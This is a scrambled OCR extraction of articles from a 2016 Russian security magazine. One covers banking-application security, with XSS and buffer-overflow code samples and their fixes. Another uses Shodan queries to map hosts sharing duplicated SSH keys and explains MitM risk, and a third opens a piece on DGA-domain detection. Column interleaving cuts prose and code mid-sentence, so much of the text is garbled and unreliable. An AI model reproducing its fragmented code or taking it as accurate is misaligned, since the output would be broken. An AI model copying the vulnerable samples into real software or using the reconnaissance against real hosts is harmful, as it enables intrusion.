т. п.) и ной предметной области, достаточно: а) иметь формализованное 87 нередко шифрует данные на уровне приложений (L7). Это дает фи- и непротиворечивое описание инвариантов сущностей и правил 89 нансовым организациям иллюзию защищенности, и возникает мысль, их взаимодействия; б) реализовать строгий (принудительный, без 91 что на серверной части теперь ничего защищать не надо: все ведь разрешающих умолчаний) контроль соблюдения всех инвариантов 93 «обернуто» криптографией и атакующий попросту не сможет ничего и правил предметной области при прохождении сущностей через злонамеренно послать на сервер. границы доверия. 95 97 Это, конечно же, не так. Криптография поддается обратной разра- Часто логику предметной области можно выразить в виде неко- 99 ботке, проверки в мобильных приложениях обходятся, если злоу- торого workflow (потока операций либо конечного автомата), со- 101 мышленник имеет физический доступ к устройству с установленным стояниями которого являются наборы допустимых инвариантов 103

// ВЕБ-безопасность positive research 2016

02 сущностей предметной области, а переход между состояниями яв- Типизация 04 ляется единственным способом их взаимодействия друг с другом. В 06 этом случае можно сформулировать несколько конкретных правил Предположим, у нас есть следующий код: 08 по обеспечению защищенности реализации предметной области: 10 1. Следует избегать появления в потоке операций рекурсивных 12 1 var parm = Request.Params["parm1"]; путей и циклов. 14 2 if (Request.Params["cond1"] == "true") 16 2. Необходимо учитывать возможное нарушение целостности 3 { 18 данных, разделяемых различными потоками. 4 return; 5 } 20 3. Текущее состояние потока необходимо хранить перед границей 6 22 доверия, а не за ней (применительно к «двухзвенке» — на сер- 7 if (Request.Params["cond2"] == "true") 24 вере, а не на клиенте). 8 { 26 4. Необходимо реализовать строгий контроль аутентичности 9 parm = Request.Params["parm2"]; 28 инициатора перехода между состояниями workflow (неэффек- 10 } else { 30 тивный контроль приводит, например в случае с Вебом, к уязви- 11 parm = "

Harmless value
"; 32 мости для атак CSRF); 12 } 34 13 5. В случае если несколько потоков операций, разделяющих дан- 36 14 Response.Write(""); ные, могут работать одновременно, необходимо обеспечить 38 гранулированный доступ ко всем таким данным из всех таких 40 потоков. 42 Здесь в parm записывается опасное значение, что приводит к возник- 44 новению уязвимости для атак класса XSS, но контекст его использо- вания позволяет осуществить типизацию. 46 Проблемы управления потоками 48 данных 50 + 1 var typedParm = new Uri(Request.Params["parm2"]); Ошибки в организации управления потоками данных могут приво- + 2 дить к возникновению следующих серьезных проблем: 3 var parm = Request.Params["parm1"]; 4 if (Request.Params["cond1"] == "true") + инъекции (SQL, XSS, XML, XXE, XPath, XQuery, Linq и т. п.), 5 { + внедрение и выполнение произвольного кода на серверной 6 return; стороне. 7 } Третий по частоте обнаружения тип проблем банковских приложе- 8 36 ний, хотя и наиболее обширный. Главный недостаток здесь — неэф- 9 if (Request.Params["cond2"] == "true") фективная предварительная обработка данных. Он приводит к мно- 10 { гочисленным атакам и уязвимостям: от XSS, которая в банковском - parm = Request.Params["parm2"]; приложении может свести на нет все механизмы защиты (одноразо- + 11 parm = typedParm.GetComponents( вые пароли и т. п.), до SQL-инъекций, наличие которых в финансовых + 12 UriComponents.HttpRequestUrl, UriFormat.UriEscaped); приложениях позволяет получить абсолютный доступ к критически 13 } else { важной информации — счетам, паролям (в т. ч. одноразовым) — и 14 parm = "
Harmless value
"; осуществлять хищения средств. 15 } 16 Существует три подхода к организации предварительной обработ- 17 Response.Write("
"); 52 ки данных: 54 + типизация — приведение строковых данных к конкретным 56 типам в терминах ООП и дальнейшее использование в коде уже 58 этих типов (параметризация SQL-запросов, например, является Санитизация 60 неявной реализацией типизации SQL-литералов); 62 У нас есть следующий код: + санитизация — преобразование входных строковых данных 64 в вид, безопасный для их использования в качестве выходных 66 (примерами являются всевозможные HtmlEncode, UrlEncode, 68 1 var parm = Request.Params["parm1"]; addslashes и т. п.); 70 2 if (Request.Params["cond1"] == "true") 72 + валидация — проверка данных на соответствие каким-либо 3 { return; 74 критериям; возможна валидация двух видов: синтаксическая 4 (например, проверка на соответствие регулярному выраже- 5 } 76 нию) и семантическая (например, проверка числа на вхожде- 6 78 ние в определенный диапазон). 7 if (Request.Params["cond2"] == "true") 80 8 { 82 Порядок предпочтения этих подходов именно таков. То есть, там, 9 parm = Request.Params["parm2"]; где невозможна типизация, следует рассмотреть возможность са- 84 10 } else { нитизации, а там, где невозможна и санитизация, — следует вне- 86 11 parm = "
Harmless value
"; дрять валидацию. Это необходимо для того, чтобы максимально 88 12 } дистанцироваться от изменения семантики кода. Кроме того, стоит 90 13 по возможности придерживаться правила: «типизация / валидация 92 14 Response.Write("Selected parameter: " + par m); на входе (как можно ближе к началу потока выполнения кода), сани- 94 тизация — на выходе (как можно ближе к месту в коде, в котором 96 данные уходят наружу)». 98 Нетрудно заметить, что в parm здесь также записывается опасное Рассмотрим несколько примеров применения описанных выше значение. В данном случае невозможна типизация, но возможно при- 100 подходов. менение санитизации в контексте опасной операции. 102 03 21 var argument = args[0].To Ch a rA rray(); 1 var parm = Request.Params["parm1"]; 22 05 2 if (Request.Params["cond1"] == "true") 23 if (argument.Length < BufferSize) { return; } 07 3 { 09 4 return; 24 5 } 25 for (var i = 0; i < argument.Length; i++) 11 6 26 { 13 7 if (Request.Params["cond2"] == "true") 27 unsafe 15 8 { 28 { - parm = Request.Params["parm2"]; 17 + 9 parm = HttpUtility.HtmlEncode(Request.Params["parm2"]); - buffer.Ite ms[i] = argu ment[i]; 19 10 } else { + 29 buffer.Items[__ai_bkfoepld_validator(i)] = argument[i]; 21 11 parm = "
Harmless value
"; 30 } 23 12 } 31 } 13 25 32 } 14 Response.Write("Selected parameter: " + par m); 27 29 31 33 Валидация Инфраструктурные проблемы 35 37 В примере ниже (уязвимость для атак переполнения буфера) осуще- и методы их решения 39 ствить типизацию и санитизацию невозможно, а значит, нужно при- Существует и целый ряд инфраструктурных проблем, которые могут 41 менить валидацию: приводить к успешным атакам на банковские системы. Среди них: 43 + application DoS, 45 1 const int BufferSize = 16; + проблемы окружения, 47 2 + стороннее ПО, модули и плагины. 49 3 public unsafe struct Buffer 51 Случаются и успешные атаки с помощью куда более тривиальных не- 4 { закрытых FTP, или админок IBM/Tomcat и т. п. 5 public fixed char Items [BufferSize]; 6 } И вот что следует делать, чтобы повысить безопасность банковских 7 приложений на этапе их разработки и развертывания: 8 static void Main(string[] args) 1. Нужно рассматривать каждый компонент инфраструктуры как 9 { скомпрометированный. 10 var buffer = new Buf fer(); 11 2. TLS (не SSL) должен применяться везде, даже внутри 12 var argument = args[0].To Ch a rA rray(); инфраструктуры. 37 13 3. Каждый компонент инфраструктуры должен быть развернут и 14 if (argument.Length < BufferSize) { return; } настроен в соответствии с официальным security guide (если 15 есть) или лучшими практиками. 16 for (var i = 0; i < argument.Length; i++) 17 { 4. Использование специализированных средств для анализа 18 unsafe защищенности и соответствия стандартам (например, 19 { MaxPatrol) также позволяет серьезно повысить уровень 20 buffer.Ite ms[i] = argu ment[i]; безопасности. 21 } 53 5. Весь код должен быть подписан, даже если инфраструктура 22 } 55 этого не требует. 23 } 57 6. Все плагины и сторонние недоверенные модули должны 59 выполняться в выделенных песочницах. 61 Код с валидацией будет выглядеть так: 63 65 Предметные области банковских 67 1 const int BufferSize = 16; 69 2 приложений 3 public unsafe struct Buffer 71 4 { Отдельно стоит отметить возможные проблемы различных банков- 73 5 public fixed char Items [BufferSize]; ских приложений, не относящиеся к серверной части систем ДБО: 75 6 } + Ошибки безопасности различных плагинов и клиентских прило- 77 7 жений, изначально не связанных с банкингом, могут приводить 79 8 static void Main(string[] args) к проблемам. 81 9 { 83 + 10 Func __ai_bkfoepld_validator = index => + Как правило, мобильные приложения защищены хуже десктоп- 85 + 11 { ных собратьев. Вообще говоря, серверная часть должна быть + 12 if (index >= BufferSize) одинаково унифицированной для приложений любого типа, но 87 + 13 { часто это не так. 89 + 14 throw new IndexOutOfRangeException(); 91 + Операторские станции (и сами операторы): часто хакерам даже + 15 } 93 не приходится взламывать сложные системы безопасности, что- + 16 return index; бы пробиться во внутреннюю сеть, достаточно лишь обмануть 95 17 }; + 97 18 сотрудников предприятия. + 99 19 var buffer = new Buf fer(); + Развитие клиентских атак — украсть деньги у клиентов банка 101 20 можно с помощью целенаправленных атак на самих клиентов. 103

// ВЕБ-безопасность positive research 2016

02 04 Кто потерял ключи: 06 08 10 по следам SSH 12 14 16 В 2015 году поднялась большая шумиха, когда по всему миру на раз- 18 Артур Гарипов 20 личных узлах были обнаружены одинаковые SSH-отпечатки (blog. habrahabr.ru/company/pt/blog/281445/ 22 shodan.io/duplicate-ssh-keys-everywhere). Далее шума дело не пошло, но осадок остался. Попробуем разобраться, в чем основная опас- 24 ность таких «дублей». Большая часть собранных данных актуальна 26 для 2015 года. 28 30 32 34 36 38 Что такое отпечаток 40 42 SSH-отпечаток — это число, которое вычисляется от открытого В трафике ключ передается так: 44 ключа, который хранится по пути /etc/ssh в файле с разрешени- 46 ем pub. Когда вы впервые подключаетесь к узлу, вам предлагается 48 его аутентифицировать. И в качестве валидатора выступает строка 50 вида 56:ca:17:72:0b:d4:3c:fd:5e:23:fb:7b:9e:9a:c8:42 — MD5- сумма от открытого ключа.

The authenticity of host '192.168.100.124 (192.168.100.124)' can't be established. RSA key fingerprint is 56:ca:17:72:0b:d4:3c:fd:5e:23:fb:7b:9e:9a:c8:42. Are you sure you want to continue connecting (yes/no)?

38 Если вы впервые подключаетесь к узлу, то увидеть такое сообщение естественно. Но если вы уже аутентифицировали этот узел и под- ключались к нему прежде, то стоит задуматься: «Почему произошло изменение отпечатка?». Возможно, вы переустанавливали целевую систему или сгенерировали новый ключ? А может, вы подключаетесь совсем не к той машине, к которой собирались?..

52 Как считается отпечаток 54 Итак, SSH-отпечаток — это хеш-сумма. В нашем случае это MD5- Вместо RSA могут использоваться и другие ключи, например ECDSA, 56 сумма от открытой части RSA-ключа. ED25519. При помощи утилиты ssh-keyscan мы можем получить от- 58 крытую часть ключа SSH сервера целевой машины. 60 Открытая часть ключа: 62 64 root@ubuntu:/etc/ssh# cat /etc/ssh/ssh_host_rsa_key.pub root@ubuntu:/etc/ssh# ssh-keyscan -t ED25519 192.168.100.124 66 # 192.168.100.124 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6 68 ssh-rsa 192.168.100.124 ssh-ed25519 70 AAAAC3NzaC1lZDI1NTE5AAAAIF8GXOsOnWBf1NY6Px6upViTXX0ZOw9txOEjwxMORafZ 72 AAAAB3NzaC1yc2EAAAADAQABAAABAQCrID5HFOZiQlq6DDUCsLOG5xJFOMbxtqPT tgL0BfEyRVQ1AGD9kwSWnAU7bm/uFmfkfG5ff/8S02PKaQo26sYIWi8/NyOGMyLNn 74 CLpMJkJ+CT12qrqpD+3Q749DpVzBBbCUaYiDNg7RbKxbbnSZUe9k69P4FE0itS4MQ 76 DFAnD0XY78aQuxNpIQUexTIP0b4QuIaShV0c6FXmpHHqr85uZ9t1cTdLtl3Kphv3 yu6Z+bkGBd+c80pdV+islTUGa+YJse0rvi/qP8AU67KNXscAc4UDe1yaMG5Y3eUs 78 hvt3OTCXliYQKw3NIw/KzXbbY6s/sB49LAvDOal4FK6ZAA+HUP root@ubuntu root@ubuntu:/etc/ssh# ssh-keyscan -t RSA 192.168.100.124 80 # 192.168.100.124 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6 82 192.168.100.124 ssh-rsa 84 Декодируем строку AAAAB....A+HUP из base64 и подсчитаем MD5- AAAAB3NzaC1yc2EAAAADAQABAAABAQCrID5HFOZiQlq6DDUCsLOG5xJFOMbxtqPT 86 tgL0BfEyRVQ1AGD9kwSWnAU7bm/uFmfkfG5ff/8S02PKaQo26sYIWi8/NyOGMyLNn сумму получившейся строки: CLpMJkJ+CT12qrqpD+3Q749DpVzBBbCUaYiDNg7RbKxbbnSZUe9k69P4FE0itS4MQD 88 FAnD0XY78aQuxNpIQUexTIP0b4QuIaShV0c6FXmpHHqr85uZ9t1cTdLtl3Kphv3yu 90 6Z+bkGBd+c80pdV+islTUGa+YJse0rvi/qP8AU67KNXscAc4UDe1yaMG5Y3eUshvt3 OTCXliYQKw3NIw/KzXbbY6s/sB49LAvDOal4FK6ZAA+HUP 92 root@ubuntu:/etc/ssh# awk '{print $2}' ssh_host_rsa_key.pub 94 | base64 -d | md5sum 96 56ca17720bd43cfd5e23fb7b9e9ac842 98 Также мы можем видеть баннер, который сообщает нам версию сер- вера, номер протокола и версию ОС: 100 # 192.168.100.124 SSH-2.0- Мы получили исходный отпечаток. OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6. 102 03 Поиск одинаковых отпечатков. Сравним значения разных годов: 05 Сравнение поисков Топ-10 — 2015 07 09 Сервис shodan.io уже собрал всю необходимую нам статистику. dc : 14 : de : 8e : d7 : c1 : 15 : 43 : 23 : 82 : 25 : 81 : d2 : 59 : e8 :c0, 321014 11 Shodan предлагает искать отпечатки так: 32 : f9 : 38 : a2 : 39 : d0 : c5 : f5 : ba : bd : b7 : 75 : 2b : 00 : f6 :ab, 245499 13 d0 : db : 8a : cb : 74 : c8 : 37 : e4 : 9e : 71 : fc : 7a : eb : d6 : 40 :81, 161471 15 34 : 47 : 0f : e9 : 1a : c2 : eb : 56 : eb : cc : 58 : 59 : 3a : 02 : 80 :b6, 149775 df : 17 : d6 : 57 : 7a : 37 : 00 : 7a : 87 : 5e : 4e : ed : 2f : a3 : d5 :dd, 105345 17 import shodan 81 : 96 : a6 : 8c : 3a : 75 : f3 : be : 84 : 5e : cc : 99 : a7 : ab : 3e :d9, 97778 api = shodan.Shodan(YOUR_API_KEY) 19 7c : a8 : 25 : 21 : 13 : a2 : eb : 00 : a6 : c1 : 76 : ca : 6b : 48 : 6e :b f, 93686 # Get the top 1,000 duplicated SSH fingerprints 21 c2 : 77 : c8 : c5 : 72 : 17 : e2 : 5b : 4f : a2 : 4e : e3 : 04 : 0c : 35 :c9, 88393 results = api.count('port:22', f a ce t s=[('ssh.fingerprint', 1000)]) 1c : 1e : 29 : 43 : d2 : 0c : c1 : 75 : 40 : 05 : 30 : 03 : d4 : 02 : d7 :9b, 87218 23 for facet in results['facets']['ssh.fingerprint']: 03 : 56 : e6 : 52 : ee : d2 : da : f0 : 73 : b5 : df : 3d : 09 : 08 : 54 :b7, 64379 25 print '%s --> %s' % (facet['value'], facet['count']) 27 29 Во время анализа отпечатков сервис вел себя нестабильно. Топ-2016 31 Долгое время отсутствовала возможность фильтрации фасетов 33 по стране. Не работала конструкция вида api.co unt('p or t:22 e7 : 86 : c7 : 22 : b3 : 08 : af : c7 : 11 : fb : a5 : ff : 9a : ae : 38 :e4, 343048 35 . Как след- 34 : 47 : 0f : e9 : 1a : c2 : eb : 56 : eb : cc : 58 : 59 : 3a : 02 : 80 :b6, 138495 country:RU', facets=[('ssh.fingerprint', 20)]) 37 ствие, приходилось делать выборку через facets для конкретного dc : 14 : de : 8e : d7 : c1 : 15 : 43 : 23 : 82 : 25 : 81 : d2 : 59 : e8 :c0, 109869 39 отпечатка по топ-странам api.count('e2:40:24:40:b8:87:4e:41 32 : f9 : 38 : a2 : 39 : d0 : c5 : f5 : ba : bd : b7 : 75 : 2b : 00 : f6 :ab, 46451 41 :1f:d4:68:69:67:b2:22:5d', facets=[('country', 20)]). 62 : 5e : b9 : fd : 3a : 70 : eb : 37 : 99 : e9 : 12 : e3 : d9 : 3f : 4e :6c, 41578 d0 : db : 8a : cb : 74 : c8 : 37 : e4 : 9e : 71 : fc : 7a : eb : d6 : 40 :81, 39126 43 7c : a8 : 25 : 21 : 13 : a2 : eb : 00 : a6 : c1 : 76 : ca : 6b : 48 : 6e :b f, 38816 Сравните результаты вывода: 45 8b : 75 : 88 : 08 : 41 : 78 : 11 : 5b : 49 : 68 : 11 : 42 : 64 : 12 : 6d :49, 34203 1c : 1e : 29 : 43 : d2 : 0c : c1 : 75 : 40 : 05 : 30 : 03 : d4 : 02 : d7 :9b, 32621 47 03 : 56 : e6 : 52 : ee : d2 : da : f0 : 73 : b5 : df : 3d : 09 : 08 : 54 :b7, 29249 49 fa = api.count('e2:40:24:40:b8:87:4e:41:1f:d4:68:69:67:b2:22:5d', c2 : 77 : c8 : c5 : 72 : 17 : e2 : 5b : 4f : a2 : 4e : e3 : 04 : 0c : 35 :c9, 28736 51 f a c e t s = [('c o u n t r y', 2 0)]) 59 : af : 97 : 23 : de : 61 : 51 : 5a : 43 : 16 : c3 : 6c : 47 : 5c : 11 :ee, 25110 for i in range(len(fa['facets']['country'])): 7c : 3e : bc : b9 : 4b : 0d : 29 : 91 : ed : bd : 6e : 4c : 6b : 60 : 49 :14, 22367 if fa['facets']['country'][i]['value']=='RU': print fa['facets'] ['country'][i] {u'count': 60433, u'value': u'RU'} Как видим, некоторые отпечатки стали встречаться реже, а какие-то, наоборот, чаще. И Карта отпечатков 39 api.count('port:22 country:RU', f a ce t s=[('ssh.fingerprint', 10)]) ['facets']['ssh.fingerprint'][0] Далее выведем на экран ключи и их статистику. Статистику собира- {u'count': 52929, u'value': u'e2:40:24:40:b8:87:4e:41:1f:d4:68:69:67:b2 ем по 30 самым частым странам. Она содержит название страны в :22:5d'} формате iso alpha2 (2-буквенное обозначение) и долю совпадений в общем числе нахождений отпечатка.

Заметная разница в 14%. Скорее всего, она обусловлено тем, что сервис активно искал банне- for i in fp30: ры и заносил их в базу, но индексация базы происходила с задержкой. print i, fp30[i]['count'] 53 su m = fp30[i]['count'] 55 Также можно искать отпечатки в лоб: for j in fp30[i]['country']: 57 if 100*j['count']/sum > 0: print '%s: %s' % (j['value'], 59 100.0*j['count']/sum) 61 results = api.search('e2:40:24:40:b8:87:4e:41:1f:d4:68:69:67:b2:22:5d') results['to tal'] 63 Да, 146% процентов может получиться из-за того, что данные в базе 65 неполностью индексированы. 67 Есть ограничение выборки в 100 записей на страницу, но можно вы- 69 бирать результаты по страницам: За 2015 год 71 73

api.search('e2:40:24:40:b8:87:4e:41:1f:d4:68:69:67:b2:22:5d', page=2) 75 dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0 332493 77 ES: 90.0605953479 79 TW: 3.56833133558 Интересно посмотреть на статистику распределения ключей по 81 US: 2.1252561631 странам. 83 http://chartsbin.com/view/32232 85 87 fp30 = {} 89 for i in api.count('port:22', f a ce t s=[('ssh.fingerprint', 3 0)]) ['facets']['ssh.fingerprint']: 91 fp={} 32:f9:38:a2:39:d0:c5:f5:ba:bd:b7:75:2b:00:f6:ab 254856 93 fp['count'] = i['count'] CN: 54.5263608791 95 fp['country']= api.count(i['value'], f a ce t s=[('country', 10 0)]) TW: 41.3041225361 97 ['facets']['country'] DO: 1.22736474116 fp30[i['value']]=fp 99 print fp30 US: 1.18763860965 101 103

// ВЕБ-безопасность positive research 2016

02

04 d0:db:8a:cb:74:c8:37:e4:9e:71:fc:7a:eb:d6:40:81 162800 dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0 109869 06 US: 54.9035226422 ES: 88.2241578607 08 JP: 45.0382223913 TW: 4.07485277922 10 US: 3.3376111551 12 DK: 1.1104133104 14 VC: 1.0594435191

16 34:47:0f:e9:1a:c2:eb:56:eb:cc:58:59:3a:02:80:b6 151027 18 DE: 69.7611572028 20 US: 27.9946735249 22 ES: 1.41647682396 32:f9:38:a2:39:d0:c5:f5:ba:bd:b7:75:2b:00:f6:ab 46451 24 CN: 49.5188478181 26 TW: 44.5932272717 28 DO: 1.59738218768 30 df:17:d6:57:7a:37:00:7a:87:5e:4e:ed:2f:a3:d5:dd 108057 US: 1.22494671805 32 CN: 99.7404030473 34 http://chartsbin.com/view/32227 36 62:5e:b9:fd:3a:70:eb:37:99:e9:12:e3:d9:3f:4e:6c 41578 38 US: 84.3907835875 40 81:96:a6:8c:3a:75:f3:be:84:5e:cc:99:a7:ab:3e:d9 101156 SG: 9.02881331473 42 TW: 100.0 NL: 6.58521333397 44 46 48 Можно заметить, что есть отпечатки, которые встречаются только в 50 одной стране или почти только в одной (90%). 8b:75:88:08:41:78:11:5b:49:68:11:42:64:12:6d:49 75760 PL: 100.0 Например: http://chartsbin.com/view/32225

81:96:a6:8c:3a:75:f3:be:84:5e:cc:99:a7:ab:3e:d9 TW: 100.0% 8b:75:88:08:41:78:11:5b:49:68:11:42:64:12:6d:49 PL: 100.0% df:17:d6:57:7a:37:00:7a:87:5e:4e:ed:2f:a3:d5:dd CN: 99.7404030473% 57:94:42:63:a1:91:0b:58:a6:33:cb:db:fe:b5:83:38 39167 59:af:97:23:de:61:51:5a:43:16:c3:6c:47:5c:11:ee US: 99.9953928728% c2:52:47:0f:8b:82:b9:3c:74 :ee:64:b5:35:f4:c5:c3 MY: 99.7626425793% IN: 38.2145131455 40 AU: 9.01840676835 US: 8.73335961428 Возьмем, например, Польшу: TR: 6.34381538648 AE: 4.14531340025 8b:75:88:08:41:78:11:5b:49:68:11:42:64:12:6d:49 PL: 100.0% ZA: 3.3538526852 SA: 3.15977802711 MX: 3.0384813658 Статистика по баннерам, в которых присутствует отпечаток: GB: 2.80498529278 FR: 2.56542438669 52 [('SSH-2.0-OpenSSH_5.9p1 Debian-8netart1\r\n', 37188), ('SSH-2.0- IR: 2.5199381387 OpenSSH_6.2p2 Ubuntu-7netart1\r\n', 10390), ('SSH-2.0-OpenSSH_ 6.6.1p1 54 IT: 2.3440579798 Ubuntu-15netart2\nKey type: ssh-rsa\nKey: AAAAB3NzaC1yc2EAAAADAQ ABAAABAQCnt2+LOdS1Gy/47UXMfHDYQERQQR5M4/CYsfT7IE3FYQ/m\nwJO6rLK 56 TH: 2.32889589714 LcUo+q4U+0iIH6uBSXG5HNa4569rg2eWH5lUiJHEL1pPIA9wKKZ+MpMoE9nkr1xa 58 DE: 2.31676623101 XxVK5\nqO1gUfaYCo+VYre2CJDe3HIJlUht3PITdxmQTwnL/tJHHBkR8xrgEpjF+ 9FjFKwdE7ZCNObqvhK0\nPio/318DyUiRK/JaIqggL0K9KzoGytq7uKSkECFMYCDT 60 BR: 2.19243715317 qPmdDerCEiT+C5Lxy6ZOdp4yTyxjOM7E\nsr0C/ePzPvT8rCLayz3GzBnEwZ4QKl 62 MY: 1.98623282894 OxbZHl/48LxtWlY/vROkiLTuU3kcpFqvo0Uc/3\nFingerprint: 8b:75:88:08: 41:78:11:5b:49:68:11:42:64:12:6d:49', 3421), ('SSH-2.0-OpenSSH_6.6.1p1 64 NG: 1.47678685144 Ubuntu-15netart2\nKey type: ssh-rsa\nKey: AAAAB3NzaC1yc2EAAAADAQ 66 KE: 1.46465718531 ABAAABAQCnt2+L', 3421), ('SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-15netart2\ r\ n', 2)] 68 TW: 1.14625344937 70 http://chartsbin.com/view/32196 72 Судя по торговой марке NetArt, это, скорее всего, nazwa.pl — поль- 74 ский хостинг. 76 За 2016 год Статистика для отпечатка dc:14:de:8e:d7:c1:15:43:23:82:25:8 78 1:d2:59:e8:c0 показана в исходной статье (blog.shodan.io/dupli- 80 cate-ssh-keys-everywhere). Это предустановленный ключ SSH-сервера 82 e7:86:c7:22:b3:08:af:c7:11:fb:a5:ff:9a:ae:38:e4 343048 Dropbear v0.46. Очень старый уязвимый SSH-сервер. Количество 84 US: 99.9988339824 устройств с этим ключом до сих пор очень велико. 86 88 Статистика по России за 2015 год 90 92 34:47:0f:e9:1a:c2:eb:56:eb:cc:58:59:3a:02:80:b6 138495 DE: 54.827972129 94 e2:40:24:40:b8:87:4e:41:1f:d4:68:69:67:b2:22:5d 50107 US: 42.5546048594 {'Dropbear sshd_0.46': 50107} 96 GB: 1.33795443879 ------98 ES: 1.27946857287 OJSC Rostelecom 49794 100 OJSC Rostelecom, Vladimir branch 160 102 OJSC RTComm.RU 46 Выводы 03 OJSC Bashinformsvyaz 32 05 CJSC ER-Telecom Holding 11 Как видим, с 2015 года ситуация кардинально не поменялась. 07 09 1c:1e:29:43:d2:0c:c1:75:40:05:30:03:d4:02:d7:9b 26286 Повторяющиеся отпечатки встречались раньше и встречаются {'Dropbear sshd_0.52': 26286} сейчас. Какие-то из них стали встречаться реже, какие-то чаще. 11 ------Обновилось ПО — и некоторые ключи пропали, а некоторые 13 OJSC Rostelecom 19596 появились. 15 OJSC Bashinformsvyaz 1025 17 MTS OJSC 1024 Так чем опасны «дубли»? Допустим, злоумышленник скомпромети- 19 CJSC Teleset-Service 645 ровал ключ, и теперь он знает соответствующий данному открыто- VimpelCom 340 му ключу закрытый ключ. Вендорам оборудования и хостерам этот 21 ключ уже известен, так как они причастны к его выпуску. В этом 23 2d:7b:35:e5:33:66:d5:ee:0d:58:19:cb:ae:e7:90:ea 24036 случае можно провести MitM-атаку, например ARP Spoofing или 25 {'Dropbear sshd_0.53.1': 23413, 'Dropbear sshd_0.28': 623} DNS Spoofing. Злоумышленник подменяет исходный сервер своим 27 ------и ждет соединения, при этом жертва не получает сообщения о не- 29 National Cable Networks 14860 OJSC Rostelecom 8179 доверенном сервере. Таким образом злоумышленник в состоянии 31 VimpelCom 214 узнать пароль жертвы. 33 Net By Net Holding LLC 101 Потенциальные жертвы подобной атаки — все пользователи преду- 35 CJSC ER-Telecom Holding 94 становленного ПО. Например, готовых сборок, таких как Bitnami и 37 39 f5:50:8d:ca:f7:5a:07:41:08:81:65:2e:b3:a4:d6:48 14065 TurnKey. Казалось бы, достаточно просто сменить пароль... но не все {'Dropbear sshd_2011.54': 14065} так просто. Не все меняют предустановленные пароли, что же гово- 41 ------рить о выпуске новых ключей? 43 Net By Net Holding LLC 13923 45 OJSC Central telegraph 73 Как мы видим, от подобных действий могут пострадать сотни тысяч Optilink Ltd 29 пользователей по всему миру. Но в случае авторизации по ключам 47 Web Plus ZAO 23 этого не произойдет. 49 Iskratelecom CJSC 10 51 Будьте внимательны, вовремя обновляйте ПО.

41

PT Application Inspector поможет испытательной лаборатории 53 ФСТЭК находить уязвимости в СЗИ 55 57 Испытательная лаборатория Института инженерной физики, аккредитованная в системах сертификации ФСТЭК, ФСБ и 59 Минобороны РФ, объявила о внедрении системы анализа исходного кода PT Application Inspector в свою инфраструктуру 61 для тестирования средств защиты информации и подтверждения их соответствия установленным требованиям. Согласно 63 последним нормативам ФСТЭК, при сертификации защитного ПО испытательным лабораториям необходимо не только 65 контролировать отсутствие недекларированных возможностей (НДВ), но и осуществлять поиск уязвимостей — недостат- 67 ков защиты, вызванных ошибками проектирования и разработки. ФСТЭК рекомендует лабораториям проводить анализ 69 уязвимостей даже на низких уровнях контроля (НДВ 4), а в сертификации ПО по второму уровню НДВ данная процедура является обязательной. При этом на всех уровнях контроля НДВ регулятор предписывает применение в том числе сиг- 71 натурного анализа кода. Однако большинство анализаторов кода проводят анализ самым простым методом поиска по 73 шаблону, а это дает астрономическое количество ложных срабатываний. В системе PT Application Inspector применяется 75 комбинация методов DAST, SAST и IAST, что позволяет радикально уменьшить количество ложных срабатываний и разгля- 77 деть опасные уязвимости. Другой особенностью PT AI является автоматическая генерация эксплойтов — скриптов для 79 подтверждения обнаруженных ошибок безопасности. 81 83 85 87 89 91 93 95 97 99 101 103

// ВЕБ-безопасность positive research 2016

02 04 Обнаружение DGA-доменов 06 08 10 12 14 16 В этой статье мы расскажем о методе выявления доменных имен, 18 Александр Колокольцев 20 сгенерированных с использованием Domain Generation Algorithm. habrahabr.ru/company/pt/blog/282349/ 22 Например, moqbwfijgtxi.info, nraepfprcpnu.com, ocfhoajbsyek.net, pmpgppocssgv.biz, qwujokiljcwl.ru, bucjbprkflrlgr.org, cqmkugwwgccuit. 24 info, pohyqxdedbrqiu.com, dfhpoiahthsjgv.net, qdcekagoqgifpq.biz. 26 Подобные доменные имена часто даются сайтам, связанным с неза- 28 конной деятельностью. 30 32 34 36 38 Один из сценариев использования DGA можно наблюдать в слу- Множество уникальных N-грамм, построенное на основе обучаю- 40 чае заражения компьютерной системы вредоносной программой. щей выборки, разбивается на три части: множество невредоносных 42 Вредоносное ПО на скомпрометированной машине будет пытать- N-грамм (встречаются только в легитимных доменах), множество 44 ся подключиться к системам под управлением злоумышленни- вредоносных N-грамм (встречаются только в зловредных доменах) 46 ка, чтобы получать команды или отправить обратно собранную и множество нейтральных N-грамм (встречаются в доменах обоих 48 информацию. типов). Каждой уникальной N-грамме ставится в соответствие чис- 50 ловой коэффициент: Злоумышленники используют DGA для вычисления последователь- ности доменных имен, к которым будут пытаться подключиться зара- + 1 — легитимные, женные машины. Это делается, чтобы предотвратить потерю контро- + −1 — зловредные, ля над взломанной инфраструктурой в тех случаях, когда домены или + число из {−1.0..1.0} — нейтральные. IP-адреса злоумышленника, прописанные прямо в коде, блокируются Под обученной моделью мы будем понимать множество пар системами безопасности. {( q, Ng(q))}, Решить проблему определения зловредного DGA-домена с помо- щью черного списка не получится, здесь требуется иной подход. Об где Ng(q) = p, p — числовой коэффициент N-граммы q, q принадле- 42 одном из таких подходов и пойдет речь. жит Q, Q — множество всех N-грамм в обучающей выборке. Основная идея состоит в том, что последовательности символов, используемые в легитимных доменных именах, отличаются от после- Разбиение выборки довательностей символов доменных имен, полученных с помощью DGA, т. к. легитимный домен часто является человекочитаемым и не- Для данной задачи мы разработали специфический метод разбиения сет смысловую нагрузку. выборки. Основная его идея состоит в том, что в качестве обучающей выборки из множества зловредных и белых доменов составляется Для решения задачи было использовано машинное обучение и множество, содержащее в себе максимум информации о всех имею- N-грамм-анализ. В качестве обучающей выборки был взят топ-мил- щихся доменах. По сути это означает, что для любого домена из тесто- 52 лион от alexa (белые домены) и 700 тысяч от bambenekconsulting.com вой выборки в модели существует как минимум k N-грамм, принадле- 54 (зловредные домены). жащих этому домену, где k — наперед заданное натуральное число. 56 58 В данном случае для обучения мы, в сущности, берем в качестве мо- 60 Описание метода дели ядро нашей выборки. Это позволяет на этапе обучения избе- 62 жать ситуаций, когда у очередного домена из тестовой выборки нет Для начала все множество доменов разбивается на обучающую и те- ни одного совпадения с моделью и, соответственно, нельзя принять 